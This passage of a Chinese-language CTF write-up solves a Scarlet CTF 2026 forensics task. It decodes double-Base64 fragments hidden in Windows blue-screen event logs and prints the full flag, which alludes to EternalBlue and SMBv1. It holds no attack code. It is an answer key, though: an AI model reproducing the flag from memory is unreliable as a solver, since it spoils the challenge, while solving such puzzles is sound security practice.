然后把输出的内容丢给 AI 一把梭了

  1. 分析题目线索

    • 题目描述提到了“blue screen”(蓝屏)和“payload”(攻击载荷)。
    • 提供的文件是 XML 格式的 Windows 事件日志。
    • 在 Windows 日志中,蓝屏死机(BSOD)通常会生成 BugCheck 事件(Event ID 1001)。随后的重启过程会记录系统未正常关闭的事件(Event ID 41 和 6008)。
  2. 定位关键日志条目

    • 在 XML 文件末尾,可以发现密集出现的以下三类事件,且它们包含 <Binary> 字段(存储了 Base64 编码的数据):
      • Event ID 1001 (BugCheck): 共 10 条记录。
      • Event ID 41 (Kernel-Power): 共 10 条记录。
      • Event ID 6008 (EventLog): 共 10 条记录。
    • 题目暗示 flag 隐藏在这些导致蓝屏的“payload”数据中。
  3. 提取并解码数据

    • 这些 <Binary> 字段中的数据是 Base64 编码的。
    • 经过测试发现,这些数据采用了双重 Base64 编码
    • 我们需要对这三组事件中的每一条进行双重解码,寻找有意义的字符串。

    第一组:Event ID 1001 (BugCheck)

    • 检查第 9 条记录(EventRecordID 45640):
      • XML Binary: VWxWVFJVTjdNM1JsY201aGJGOWliSFV6WHc9PQ==
      • 第1次解码: UlVTRUN7M3Rlcm5hbF9ibHUzXw==
      • 第2次解码: RUSEC{3ternal_blu3_
    • 这显然是 flag 的开头部分。

    第二组:Event ID 41 (Kernel-Power)

    • 检查第 6 条记录(EventRecordID 45647):
      • XML Binary: YzBCa1gyWmhZek5mYzIxaWRnPT0=
      • 第1次解码: c0BkX2ZhYzNfc21idg==
      • 第2次解码: s@d_fac3_smbv
    • 这就构成了中间部分。“s@d_fac3”对应题目名称 :((Sad face/BSOD 笑脸),“smbv”对应导致蓝屏的永恒之蓝漏洞(涉及 SMB 协议)。

    第三组:Event ID 6008 (Unexpected Shutdown)

    • 检查第 4 条记录(EventRecordID 45655):
      • XML Binary: MV8zODkwY24yazI5fQ==
      • 第1次解码(第1次解码结果已经是明文了,之前的 pattern 是双重,但这里直接解出了 ASCII 字符串,且格式符合): 1_3890cn2k29}
    • 这是 flag 的结尾部分,包含右花括号 }
  4. 拼接 flag

    • 按照事件发生的逻辑顺序(BugCheck崩溃 -> Kernel-Power重启检测 -> EventLog记录意外关闭)以及 flag 的语义(前缀、中间、后缀)进行拼接:
    • Part 1: RUSEC{3ternal_blu3_
    • Part 2: s@d_fac3_smbv
    • Part 3: 1_3890cn2k29}
    • 组合后:RUSEC{3ternal_blu3_s@d_fac3_smbv1_3890cn2k29}
    • 语义验证:smbv1 正是永恒之蓝(EternalBlue)利用的漏洞协议版本,非常通顺。

FLAG

1
RUSEC{3ternal_blu3_s@d_fac3_smbv1_3890cn2k29}
  • 标题: Scarlet CTF 2026
  • 作者: Aristore
  • 链接: https://www.aristore.top/posts/ScarletCTF2026/
  • 版权声明: 版权所有 © Aristore,禁止转载。
评论